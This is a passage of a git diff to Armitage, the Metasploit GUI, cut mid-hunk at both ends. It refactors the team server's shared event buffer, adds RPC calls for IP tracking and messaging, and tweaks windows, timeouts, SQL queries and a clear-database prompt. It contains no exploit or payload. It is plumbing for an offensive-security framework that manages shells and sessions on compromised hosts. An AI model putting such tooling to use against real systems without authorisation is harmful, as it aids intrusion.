} else if ($method eq "armitage.poll" || $method eq "armitage.push") { - acquire($poll_lock); if ($method eq "armitage.push") { ($null, $data) = $args; foreach $temp (split("\n", $data)) { - push(@events, formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data); + [$events put: formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data]; } } - if (size(@events) > $index) { - $rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > ")); - $index = size(@events); - } - else { - $rv = result(%(data => "", prompt => "$eid $+ > ", encoding => "base64")); - } - release($poll_lock); - + $rv = result(%(data => [$events get: $eid], encoding => "base64", prompt => "$eid $+ > ")); + writeObject($handle, $rv); + } + else if ($method eq "armitage.lusers") { + $rv = [new HashMap]; + [$rv put: "lusers", [$events clients]]; writeObject($handle, $rv); } else if ($method eq "armitage.append") { @@ -308,6 +293,10 @@ sub client { $response = [$client execute: $method, cast($args, ^Object)]; writeObject($handle, $response); } + else if ($method eq "module.execute_direct") { + $response = [$client execute: "module.execute", cast($args, ^Object)]; + writeObject($handle, $response); + } else if ($method in %async) { if ($args) { [$client execute_async: $method, cast($args, ^Object)]; @@ -333,6 +322,7 @@ sub client { if ($eid !is $null) { event("*** $eid left.\n"); + [$events free: $eid]; } # reset the user's filter... @@ -355,7 +345,7 @@ sub client { sub main { global('$client $mclient'); - local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle $console'); + local('$server %sessions $sess_lock $read_lock $lock_lock %locks %readq $id $error $auth %cache $cach_lock $client_cache $handle $console $events'); $auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0]; @@ -413,10 +403,12 @@ sub main { # $sess_lock = semaphore(1); $read_lock = semaphore(1); - $poll_lock = semaphore(1); $lock_lock = semaphore(1); $cach_lock = semaphore(1); + # setup any shared buffers... + $events = [new armitage.ArmitageBuffer: 250]; + # set the LHOST to whatever the user specified (use console.write to make the string not UTF-8) $console = createConsole($client); call($client, "console.write", $console, "setg LHOST $host $+ \n"); @@ -424,6 +416,9 @@ sub main { # absorb the output of this command which is LHOST => ... call($client, "console.read", $console); + # update server's understanding of this value... + call($client, "armitage.set_ip", $host); + # # create a thread to push console messages to the event queue for all clients. # @@ -433,12 +428,10 @@ sub main { sleep(2000); $r = call($client, "console.read", $console); if ($r["data"] ne "") { - acquire($poll_lock); - push(@events, formatDate("HH:mm:ss") . " " . $r["data"]); - release($poll_lock); + [$events put: formatDate("HH:mm:ss") . " " . $r["data"]]; } } - }, \$client, \$poll_lock, \@events, \$console); + }, \$client, \$events, \$console); # # Create a shared hash that contains a thread for each session... @@ -535,7 +528,7 @@ service framework-postgres start"); $handle = [$server accept]; if ($handle !is $null) { %readq[$id] = %(); - fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, \$poll_lock, $queue => %readq[$id], \$id, \@events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass); + fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, $queue => %readq[$id], \$id, \$events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass); $id++; } diff --git a/external/source/armitage/scripts/shell.sl b/external/source/armitage/scripts/shell.sl index 7af64f264e..43abea73c3 100644 --- a/external/source/armitage/scripts/shell.sl +++ b/external/source/armitage/scripts/shell.sl @@ -290,7 +290,7 @@ sub createShellSessionTab { return; } - $thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0]; + $thread = [new ConsoleClient: $console, rand(@POOL), "session.shell_read", "session.shell_write", $null, $sid, 0]; [$frame addTab: "Shell $sid", $console, lambda({ call_async($mclient, "armitage.unlock", $sid); [$thread kill]; diff --git a/external/source/armitage/scripts/targets.sl b/external/source/armitage/scripts/targets.sl index 3721006ea7..797174c255 100644 --- a/external/source/armitage/scripts/targets.sl +++ b/external/source/armitage/scripts/targets.sl @@ -193,6 +193,11 @@ on hosts { $address = $host['address']; if ($address in %hosts && size(%hosts[$address]) > 1) { %newh[$address] = %hosts[$address]; + + # set the label to empty b/c team server won't add labels if there are no labels. This fixes + # a corner case where a user might clear all labels and find they won't go away + %newh[$address]['label'] = ''; + putAll(%newh[$address], keys($host), values($host)); if ($host['os_name'] eq "") { @@ -262,7 +267,7 @@ sub _importHosts { } $console = createDisplayTab("Import", $file => "import"); - [$console addCommand: $null, "db_import " . strrep(join(" ", $files), "\\", "\\\\")]; + [$console addCommand: 'x', "db_import " . strrep(join(" ", $files), "\\", "\\\\")]; [$console addListener: lambda({ elog("imported hosts from $success file" . iff($success != 1, "s")); }, \$success)]; @@ -346,8 +351,10 @@ sub clearHostFunction { } sub clearDatabase { - elog("cleared the database"); - call_async($mclient, "db.clear"); + if (!askYesNo("This action will clear the database. You will lose all information\ncollected up to this point. You will not be able toget it back.\nWould you like to clear the database?", "Clear Database")) { + elog("cleared the database"); + call_async($mclient, "db.clear"); + } } # called when a target is clicked on... diff --git a/external/source/armitage/scripts/util.sl b/external/source/armitage/scripts/util.sl index de80e1d8d3..8bc953b989 100644 --- a/external/source/armitage/scripts/util.sl +++ b/external/source/armitage/scripts/util.sl @@ -78,7 +78,7 @@ sub setupEventStyle { sub createDisplayTab { local('$console $host $queue $file'); - $queue = [new ConsoleQueue: $client]; + $queue = [new ConsoleQueue: rand(@POOL)]; if ($1 eq "Log Keystrokes") { $console = [new ActivityConsole: $preferences]; } @@ -100,7 +100,7 @@ sub createConsolePanel { setupConsoleStyle($console); $result = call($client, "console.create"); - $thread = [new ConsoleClient: $console, $aclient, "console.read", "console.write", "console.destroy", $result['id'], $1]; + $thread = [new ConsoleClient: $console, rand(@POOL), "console.read", "console.write", "console.destroy", $result['id'], $1]; [$thread setMetasploitConsole]; [$thread setSessionListener: { @@ -151,6 +151,11 @@ sub createConsoleTab { } sub setg { + # update team server's understanding of LHOST + if ($1 eq "LHOST") { + call_async($client, "armitage.set_ip", $2); + } + %MSF_GLOBAL[$1] = $2; local('$c'); $c = createConsole($client); @@ -381,7 +386,7 @@ sub connectDialog { $msfrpc_handle = $null; } - local('$dialog $host $port $ssl $user $pass $button $cancel $start $center $help $helper'); + local('$dialog $host $port $ssl $user $pass $button $start $center $help $helper'); $dialog = window("Connect...", 0, 0); # setup our nifty form fields.. @@ -398,8 +403,6 @@ sub connectDialog { $help = [new JButton: "Help"]; [$help setToolTipText: "Use this button to view the Getting Started Guide on the Armitage homepage"]; - $cancel = [new JButton: "Exit"]; - # lay them out $center = [new JPanel]; @@ -422,9 +425,14 @@ sub connectDialog { ($h, $p, $u, $s) = @o; [$dialog setVisible: 0]; - connectToMetasploit($h, $p, $u, $s); if ($h eq "127.0.0.1" || $h eq "::1" || $h eq "localhost") { + if ($__frame__ && [$__frame__ checkLocal]) { + showError("You can't connect to localhost twice"); + [$dialog setVisible: 1]; + return; + } + try { closef(connect("127.0.0.1", $p, 1000)); } @@ -434,37 +442,33 @@ sub connectDialog { } } } + + connectToMetasploit($h, $p, $u, $s); }, \$dialog, \$host, \$port, \$user, \$pass)]; [$help addActionListener: gotoURL("http://www.fastandeasyhacking.com/start")]; - [$cancel addActionListener: { - [System exit: 0]; - }]; - [$dialog pack]; [$dialog setLocationRelativeTo: $null]; [$dialog setVisible: 1]; } -sub _elog { +sub elog { + local('$2'); if ($client !is $mclient) { + # $2 can be NULL here. team server will populate it... call_async($mclient, "armitage.log", $1, $2); } else { + # since we're not on a team server, no one else will have + # overwritten LHOST, so we can trust $MY_ADDRESS to be current + if ($2 is $null) { + $2 = $MY_ADDRESS; + } call_async($client, "db.log_event", "$2 $+ //", $1); } } -sub elog { - local('$2'); - if ($2 is $null) { - $2 = $MY_ADDRESS; - } - - _elog($1, $2); -} - sub module_execute { return invoke(&_module_execute, filter_data_array("user_launch", @_)); } diff --git a/external/source/armitage/src/armitage/ArmitageApplication.java b/external/source/armitage/src/armitage/ArmitageApplication.java index b7365e1309..84fe420c76 100644 --- a/external/source/armitage/src/armitage/ArmitageApplication.java +++ b/external/source/armitage/src/armitage/ArmitageApplication.java @@ -13,13 +13,32 @@ import cortana.gui.MenuBuilder; import ui.*; -public class ArmitageApplication extends JFrame { +public class ArmitageApplication extends JComponent { protected JTabbedPane tabs = null; protected JSplitPane split = null; protected JMenuBar menus = new JMenuBar(); protected ScreenshotManager screens = null; protected KeyBindings keys = new KeyBindings(); protected MenuBuilder builder = null; + protected String title = ""; + protected MultiFrame window = null; + + public KeyBindings getBindings() { + return keys; + } + + public void setTitle(String title) { + this.title = title; + window.setTitle(this, title); + } + + public String getTitle() { + return title; + } + + public void setIconImage(Image blah) { + window.setIconImage(blah); + } public void setScreenshotManager(ScreenshotManager m) { screens = m; @@ -192,7 +211,7 @@ public class ArmitageApplication extends JFrame { /* pop goes the tab! */ final JFrame r = new JFrame(t.title); - r.setIconImages(getIconImages()); + //r.setIconImages(getIconImages()); r.setLayout(new BorderLayout()); r.add(t.component, BorderLayout.CENTER); r.pack(); @@ -366,8 +385,20 @@ public class ArmitageApplication extends JFrame { component.requestFocusInWindow(); } - public ArmitageApplication() { + public void touch() { + Component c = tabs.getSelectedComponent(); + if (c == null) + return; + + if (c instanceof Activity) + ((Activity)c).resetNotification(); + + c.requestFocusInWindow(); + } + + public ArmitageApplication(MultiFrame f, String details, msf.RpcConnection conn) { super(); + window = f; tabs = new DraggableTabbedPane(); setLayout(new BorderLayout()); @@ -383,10 +414,8 @@ public class ArmitageApplication extends JFrame { /* add our tabbed pane */ add(split, BorderLayout.CENTER); - /* setup our key bindings */ - KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(keys); - /* ... */ - setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + //setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + ((ui.MultiFrame)window).addButton(details, this, conn); } } diff --git a/external/source/armitage/src/armitage/ArmitageBuffer.java b/external/source/armitage/src/armitage/ArmitageBuffer.java new file mode 100644 index 0000000000..22731f671f --- /dev/null +++ b/external/source/armitage/src/armitage/ArmitageBuffer.java @@ -0,0 +1,138 @@ +package armitage; + +import java.util.*; + +/* + * Implement a thread safe store that any client may write to and + * any client may read from (keeping track of their cursor into + * the console) + */ +public class ArmitageBuffer { + private static final class Message { + public String message = null; + public Message next = null; + } + + /* store our messages... */ + public Message first = null; + public Message last = null; + public long size = 0; + public long max = 0; + public String prompt = ""; + + /* store indices into this buffer */ + public Map indices = new HashMap(); + + /* setup the buffer?!? :) */ + public ArmitageBuffer(long max) { + this.max = max; + } + + /* store a prompt with this buffer... we're not going to do any indexing magic for now */ + public String getPrompt() { + synchronized (this) { + return prompt; + } + } + + /* set the prompt */ + public void setPrompt(String text) { + synchronized (this) { + prompt = text; + } + } + + /* post a message to this buffer */ + public void put(String text) { + synchronized (this) { + /* create our message */ + Message m = new Message(); + m.message = text; + + /* store our message */ + if (last == null && first == null) { + first = m; + last = m; + } + else { + last.next = m; + last = m; + } + + /* increment number of stored messages */ + size += 1; + + /* limit the total number of past messages to the max size */ + if (size > max) { + first = first.next; + } + } + } + + /* retrieve a set of all clients consuming this buffer */ + public Collection clients() { + synchronized (this) { + LinkedList clients = new LinkedList(indices.keySet()); + return clients; + } + } + + /* free a client */ + public void free(String id) { + synchronized (this) { + indices.remove(id); + } + } + + /* reset our indices too */ + public void reset() { + synchronized (this) { + first = null; + last = null; + indices.clear(); + size = 0; + } + } + + /* retrieve all messages available to the client (if any) */ + public String get(String id) { + synchronized (this) { + /* nadaz */ + if (first == null) + return ""; + + /* get our index into the buffer */ + Message index = null; + if (!indices.containsKey(id)) { + index = first; + } + else { + index = (Message)indices.get(id); + + /* nothing happening */ + if (index.next == null) + return ""; + + index = index.next; + } + + /* now let's walk through it */ + StringBuffer result = new StringBuffer(); + Message temp = index; + while (temp != null) { + result.append(temp.message); + index = temp; + temp = temp.next; + } + + /* store our index */ + indices.put(id, index); + + return result.toString(); + } + } + + public String toString() { + return "[" + size + " messages]"; + } +} diff --git a/external/source/armitage/src/armitage/ArmitageMain.java b/external/source/armitage/src/armitage/ArmitageMain.java index 3feb310ee0..eb8d8295c2 100644 --- a/external/source/armitage/src/armitage/ArmitageMain.java +++ b/external/source/armitage/src/armitage/ArmitageMain.java @@ -9,10 +9,10 @@ import sleep.engine.*; import sleep.parser.ParserConfig; import java.util.*; - import java.io.*; import cortana.core.*; +import ui.*; /** * This class launches Armitage and loads the scripts that are part of it. @@ -101,7 +101,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { }; } - public ArmitageMain(String[] args) { + public ArmitageMain(String[] args, MultiFrame window, boolean serverMode) { /* tweak the parser to recognize a few useful escapes */ ParserConfig.installEscapeConstant('c', console.Colors.color + ""); ParserConfig.installEscapeConstant('U', console.Colors.underline + ""); @@ -118,15 +118,6 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { ScriptLoader loader = new ScriptLoader(); loader.addSpecificBridge(this); - /* check for server mode option */ - boolean serverMode = false; - - int x = 0; - for (x = 0; x < args.length; x++) { - if (args[x].equals("--server")) - serverMode = true; - } - /* setup Cortana event and filter bridges... we will install these into Armitage */ if (!serverMode) { @@ -135,6 +126,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { variables.putScalar("$__events__", SleepUtils.getScalar(events)); variables.putScalar("$__filters__", SleepUtils.getScalar(filters)); + variables.putScalar("$__frame__", SleepUtils.getScalar(window)); loader.addGlobalBridge(events.getBridge()); loader.addGlobalBridge(filters.getBridge()); @@ -142,7 +134,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { /* load the appropriate scripts */ String[] scripts = serverMode ? getServerScripts() : getGUIScripts(); - + int x = -1; try { for (x = 0; x < scripts.length; x++) { InputStream i = this.getClass().getClassLoader().getResourceAsStream(scripts[x]); @@ -161,6 +153,23 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { } public static void main(String args[]) { - new ArmitageMain(args); + /* check for server mode option */ + boolean serverMode = false; + + int x = 0; + for (x = 0; x < args.length; x++) { + if (args[x].equals("--server")) + serverMode = true; + } + + /* setup our armitage instance */ + if (serverMode) { + new ArmitageMain(args, null, serverMode); + } + else { + MultiFrame.setupLookAndFeel(); + MultiFrame frame = new MultiFrame(); + new ArmitageMain(args, frame, serverMode); + } } } diff --git a/external/source/armitage/src/armitage/ConsoleClient.java b/external/source/armitage/src/armitage/ConsoleClient.java index 7937362f1a..82a8b05fd2 100644 --- a/external/source/armitage/src/armitage/ConsoleClient.java +++ b/external/source/armitage/src/armitage/ConsoleClient.java @@ -215,6 +215,7 @@ public class ConsoleClient implements Runnable, ActionListener { Map read; boolean shouldRead = go_read; String command = null; + long last = 0; try { while (shouldRead) { @@ -230,21 +231,23 @@ public class ConsoleClient implements Runnable, ActionListener { lastRead = System.currentTimeMillis(); } - read = readResponse(); - - if (read == null || "failure".equals( read.get("result") + "" )) { - break; - } - - processRead(read); - - if ((System.currentTimeMillis() - lastRead) <= 500) { - Thread.sleep(10); + long now = System.currentTimeMillis(); + if (this.window != null && !this.window.isShowing() && (now - last) < 1500) { + /* check if our window is not showing... if not, then we're going to switch to a very reduced + read schedule. */ } else { - Thread.sleep(500); + read = readResponse(); + if (read == null || "failure".equals( read.get("result") + "" )) { + break; + } + + processRead(read); + last = System.currentTimeMillis(); } + Thread.sleep(100); + synchronized (listeners) { shouldRead = go_read; } diff --git a/external/source/armitage/src/armitage/EventLogTabCompletion.java b/external/source/armitage/src/armitage/EventLogTabCompletion.java new file mode 100644 index 0000000000..6fa7fddee8 --- /dev/null +++ b/external/source/armitage/src/armitage/EventLogTabCompletion.java @@ -0,0 +1,60 @@ +package armitage; + +import console.Console; +import msf.*; +import java.util.*; +import java.awt.*; +import java.awt.event.*; +import javax.swing.*; + +import java.io.IOException; + +public class EventLogTabCompletion extends GenericTabCompletion { + protected RpcConnection connection; + + public EventLogTabCompletion(Console window, RpcConnection connection) { + super(window); + this.connection = connection; + } + + public Collection getOptions(String text) { + try { + Map response = (Map)connection.execute("armitage.lusers", new Object[] {}); + + if (response.get("lusers") == null) + return null; + + Iterator users = ((Collection)response.get("lusers")).iterator(); + + LinkedList options = new LinkedList(); + String word; + String pre; + + if (text.endsWith(" ")) { + word = ""; + pre = text; + } + if (text.lastIndexOf(" ") != -1) { + word = text.substring(text.lastIndexOf(" ") + 1); + pre = text.substring(0, text.lastIndexOf(" ") + 1); + } + else { + word = text; + pre = ""; + } + + while (users.hasNext()) { + String user = users.next() + ""; + if (user.startsWith(word)) { + options.add(pre + user); + } + } + + return options; + } + catch (IOException ioex) { + ioex.printStackTrace(); + } + return null; + } +} diff --git a/external/source/armitage/src/cortana/data/Sessions.java b/external/source/armitage/src/cortana/data/Sessions.java index cedac86993..6b4da2455d 100644 --- a/external/source/armitage/src/cortana/data/Sessions.java +++ b/external/source/armitage/src/cortana/data/Sessions.java @@ -130,6 +130,10 @@ public class Sessions extends ManagedData { } } + /* calculate the differences and fire some events based on them */ + Set newSessions = DataUtils.difference(after, before); + fireSessionEvents("session_open", newSessions.iterator(), dataz); + /* calculate sync events and fix the nonsync set */ Set newsync = DataUtils.intersection(syncz, nonsync); fireSessionEvents("session_sync", newsync.iterator(), dataz); @@ -137,11 +141,9 @@ public class Sessions extends ManagedData { /* update our list of non-synced sessions */ nonsync.removeAll(syncz); - /* calculate the differences and fire some events based on them */ - Set newSessions = DataUtils.difference(after, before); - fireSessionEvents("session_open", newSessions.iterator(), dataz); - - newSessions.retainAll(syncz); + /* these are sessions that are new and sync'd -- fire events for them... */ + newSessions.removeAll(newsync); /* we already fired events for these */ + newSessions.retainAll(syncz); /* keep anything that is synced */ fireSessionEvents("session_sync", newSessions.iterator(), dataz); Set droppedSessions = DataUtils.difference(before, after); diff --git a/external/source/armitage/src/cortana/gui/UIBridge.java b/external/source/armitage/src/cortana/gui/UIBridge.java index d4def58a71..42fe117687 100644 --- a/external/source/armitage/src/cortana/gui/UIBridge.java +++ b/external/source/armitage/src/cortana/gui/UIBridge.java @@ -30,11 +30,16 @@ public class UIBridge implements Loadable, Function { if (name.equals("&later")) { final SleepClosure f = BridgeUtilities.getFunction(args, script); final Stack argz = EventManager.shallowCopy(args); - SwingUtilities.invokeLater(new Runnable() { - public void run() { - SleepUtils.runCode(f, "laterz", null, argz); - } - }); + if (SwingUtilities.isEventDispatchThread()) { + SleepUtils.runCode(f, "laterz", null, argz); + } + else { + SwingUtilities.invokeLater(new Runnable() { + public void run() { + SleepUtils.runCode(f, "laterz", null, argz); + } + }); + } } return SleepUtils.getEmptyScalar(); diff --git a/external/source/armitage/src/cortana/metasploit/ShellSession.java b/external/source/armitage/src/cortana/metasploit/ShellSession.java index f79f752511..4f3207680d 100644 --- a/external/source/armitage/src/cortana/metasploit/ShellSession.java +++ b/external/source/armitage/src/cortana/metasploit/ShellSession.java @@ -75,7 +75,8 @@ public class ShellSession implements Runnable { /* loop forever waiting for response to come back. If session is dead then this loop will break with an exception */ - while (true) { + long start = System.currentTimeMillis(); + while ((System.currentTimeMillis() - start) < 60000) { response = readResponse(); String data = (response.get("data") + ""); @@ -95,6 +96,7 @@ public class ShellSession implements Runnable { Thread.sleep(100); } + System.err.println(session + " -> " + c.text + " (took longer than anticipated, dropping: " + (System.currentTimeMillis() - start) + ")"); } catch (Exception ex) { System.err.println(session + " -> " + c.text + " ( " + response + ")"); diff --git a/external/source/armitage/src/msf/DatabaseImpl.java b/external/source/armitage/src/msf/DatabaseImpl.java index ff00d4d877..ee58207c2e 100644 --- a/external/source/armitage/src/msf/DatabaseImpl.java +++ b/external/source/armitage/src/msf/DatabaseImpl.java @@ -310,13 +310,13 @@ public class DatabaseImpl implements RpcConnection { if (hFilter.indexOf("sessions.") >= 0) tables.add("sessions"); - temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex)); + temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex)); } else { - temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1)); + temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1)); } - temp.put("db.services", "SELECT DISTINCT services.*, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex)); + temp.put("db.services", "SELECT DISTINCT services.id, services.name, services.port, services.proto, services.info, services.updated_at, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex)); temp.put("db.loots", "SELECT DISTINCT loots.*, hosts.address as host FROM loots, hosts WHERE hosts.id = loots.host_id AND hosts.workspace_id = " + workspaceid); temp.put("db.workspaces", "SELECT DISTINCT * FROM workspaces"); temp.put("db.notes", "SELECT DISTINCT notes.*, hosts.address as host FROM notes, hosts WHERE hosts.id = notes.host_id AND hosts.workspace_id = " + workspaceid); @@ -412,6 +412,10 @@ public class DatabaseImpl implements RpcConnection { return new HashMap(); } else if (methodName.equals("db.clear")) { + /* clear our local cache of labels */ + labels = new HashMap(); + + /* clear the database */ executeUpdate( "BEGIN;" + "DELETE FROM hosts;" + diff --git a/external/source/armitage/src/msf/MeterpreterSession.java b/external/source/armitage/src/msf/MeterpreterSession.java index 2f42fc09d9..fb91d6ab9e 100644 --- a/external/source/armitage/src/msf/MeterpreterSession.java +++ b/external/source/armitage/src/msf/MeterpreterSession.java @@ -14,7 +14,7 @@ public class MeterpreterSession implements Runnable { protected String session; protected boolean teammode; - public static long DEFAULT_WAIT = 12000; + public static long DEFAULT_WAIT = 120000; private static class Command { public Object token; diff --git a/external/source/armitage/src/msf/RpcAsync.java b/external/source/armitage/src/msf/RpcAsync.java index c7663ddbcd..fe0daf7a4e 100644 --- a/external/source/armitage/src/msf/RpcAsync.java +++ b/external/source/armitage/src/msf/RpcAsync.java @@ -32,7 +32,7 @@ public class RpcAsync implements RpcConnection, Async { if (methodName.equals("module.info") || methodName.equals("module.options") || methodName.equals("module.compatible_payloads")) { StringBuilder keysb = new StringBuilder(methodName); - for(int i = 1; i < params.length; i++) + for(int i = 0; i < params.length; i++) keysb.append(params[i].toString()); String key = keysb.toString(); diff --git a/external/source/armitage/src/msf/RpcConnectionImpl.java b/external/source/armitage/src/msf/RpcConnectionImpl.java index f7ba43d048..426cb079ae 100644 --- a/external/source/armitage/src/msf/RpcConnectionImpl.java +++ b/external/source/armitage/src/msf/RpcConnectionImpl.java @@ -10,6 +10,7 @@ import javax.xml.transform.*; import javax.xml.transform.dom.*; import javax.xml.transform.stream.*; import org.w3c.dom.*; +import armitage.ArmitageBuffer; /** * This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from @@ -84,12 +85,56 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async { } protected HashMap locks = new HashMap(); + protected String address = ""; + protected HashMap buffers = new HashMap(); + + /* help implement our remote buffer API for PQS primitives */ + public ArmitageBuffer getABuffer(String key) { + synchronized (buffers) { + ArmitageBuffer buffer; + if (buffers.containsKey(key)) { + buffer = (ArmitageBuffer)buffers.get(key); + } + else { + buffer = new ArmitageBuffer(16384); + buffers.put(key, buffer); + } + return buffer; + } + } + + public String getLocalAddress() { + return address; + } /** Adds token, runs command, and notifies logger on call and return */ public Object execute(String methodName, Object[] params) throws IOException { if (database != null && "db.".equals(methodName.substring(0, 3))) { return database.execute(methodName, params); } + else if (methodName.equals("armitage.ping")) { + try { + long time = System.currentTimeMillis() - Long.parseLong(params[0] + ""); + + HashMap res = new HashMap(); + res.put("result", time + ""); + return res; + } + catch (Exception ex) { + HashMap res = new HashMap(); + res.put("result", "0"); + return res; + } + } + else if (methodName.equals("armitage.my_ip")) { + HashMap res = new HashMap(); + res.put("result", address); + return res; + } + else if (methodName.equals("armitage.set_ip")) { + address = params[0] + ""; + return new HashMap(); + } else if (methodName.equals("armitage.lock")) { if (locks.containsKey(params[0] + "")) { Map res = new HashMap(); @@ -105,6 +150,23 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async { locks.remove(params[0] + ""); return new HashMap(); } + else if (methodName.equals("armitage.publish")) { + ArmitageBuffer buffer = getABuffer(params[0] + ""); + buffer.put(params[1] + ""); + return new HashMap(); + } + else if (methodName.equals("armitage.query")) { + ArmitageBuffer buffer = getABuffer(params[0] + ""); + String data = (String)buffer.get(params[1] + ""); + HashMap temp = new HashMap(); + temp.put("data", data); + return temp; + } + else if (methodName.equals("armitage.reset")) { + ArmitageBuffer buffer = getABuffer(params[0] + ""); + buffer.reset(); + return new HashMap(); + } else if (hooks.containsKey(methodName)) { RpcConnection con = (RpcConnection)hooks.get(methodName); return con.execute(methodName, params); diff --git a/external/source/armitage/src/msf/RpcQueue.java b/external/source/armitage/src/msf/RpcQueue.java index ba657c2671..b56d2a2135 100644 --- a/external/source/armitage/src/msf/RpcQueue.java +++ b/external/source/armitage/src/msf/RpcQueue.java @@ -66,7 +66,7 @@ public class RpcQueue implements Runnable { Thread.sleep(50); } else { - Thread.sleep(500); + Thread.sleep(200); } } } diff --git a/external/source/armitage/src/table/NetworkTable.java b/external/source/armitage/src/table/NetworkTable.java index 2d7590db0e..c89bd97dbb 100644 --- a/external/source/armitage/src/table/NetworkTable.java +++ b/external/source/armitage/src/table/NetworkTable.java @@ -1,11 +1,11 @@ package table; -import javax.swing.*; -import javax.swing.event.*; +import javax.swing.*; +import javax.swing.event.*; import javax.swing.border.*; import javax.swing.table.*; -import java.awt.*; +import java.awt.*; import java.awt.event.*; import java.awt.image.*; @@ -92,7 +92,7 @@ public class NetworkTable extends JComponent implements ActionListener { table.getColumn("Description").setPreferredWidth(500); final TableCellRenderer parent = table.getDefaultRenderer(Object.class); - table.setDefaultRenderer(Object.class, new TableCellRenderer() { + final TableCellRenderer phear = new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) { JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col); @@ -111,9 +111,15 @@ public class NetworkTable extends JComponent implements ActionListener { if (tip.length() > 0) { component.setToolTipText(tip); } + return component; } - }); + }; + + table.getColumn("Address").setCellRenderer(phear); + table.getColumn("Label").setCellRenderer(phear); + table.getColumn("Description").setCellRenderer(phear); + table.getColumn("Pivot").setCellRenderer(phear); table.getColumn(" ").setCellRenderer(new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) { diff --git a/external/source/armitage/src/ui/ATable.java b/external/source/armitage/src/ui/ATable.java index ce80216dbd..6b9eb9b140 100644 --- a/external/source/armitage/src/ui/ATable.java +++ b/external/source/armitage/src/ui/ATable.java @@ -10,8 +10,48 @@ import table.*; import java.util.*; public class ATable extends JTable { + public static final String indicator = " \u271A"; + protected boolean alternateBackground = false; + protected int[] selected = null; + + /* call this function to store selections */ + public void markSelections() { + selected = getSelectedRows(); + } + + public void fixSelection() { + if (selected.length == 0) + return; + + getSelectionModel().setValueIsAdjusting(true); + + int rowcount = getModel().getRowCount(); + + for (int x = 0; x < selected.length; x++) { + if (selected[x] < rowcount) { + getSelectionModel().addSelectionInterval(selected[x], selected[x]); + } + } + + getSelectionModel().setValueIsAdjusting(false); + } + + /* call this function to restore selections after a table update */ + public void restoreSelections() { + if (!SwingUtilities.isEventDispatchThread()) { + SwingUtilities.invokeLater(new Runnable() { + public void run() { + fixSelection(); + } + }); + } + else { + fixSelection(); + } + } + public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) { final Set specialitems = new HashSet(); specialitems.add("Wordlist"); @@ -39,7 +79,7 @@ public class ATable extends JTable { String content = (value != null ? value : "") + ""; if (specialitems.contains(content) || content.indexOf("FILE")!= -1) { - content = content + " \u271A"; + content = content + indicator; } JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column); @@ -117,6 +157,47 @@ public class ATable extends JTable { }; } + public static TableCellRenderer getTimeTableRenderer() { + return new TableCellRenderer() { + public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { + TableCellRenderer render = table.getDefaultRenderer(String.class); + + JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column); + + try { + long size = Long.parseLong(value + ""); + String units = "ms"; + + if (size > 1000) { + size = size / 1000; + units = "s"; + } + else { + ((JLabel)c).setText(size + units); + return c; + } + + if (size > 60) { + size = size / 60; + units = "m"; + } + + if (size > 60) { + size = size / 60; + units = "h"; + } + + ((JLabel)c).setText(size + units); + } + catch (Exception ex) { + + } + + return c; + } + }; + } + public void adjust() { setShowGrid(false); setIntercellSpacing(new Dimension(0, 0)); diff --git 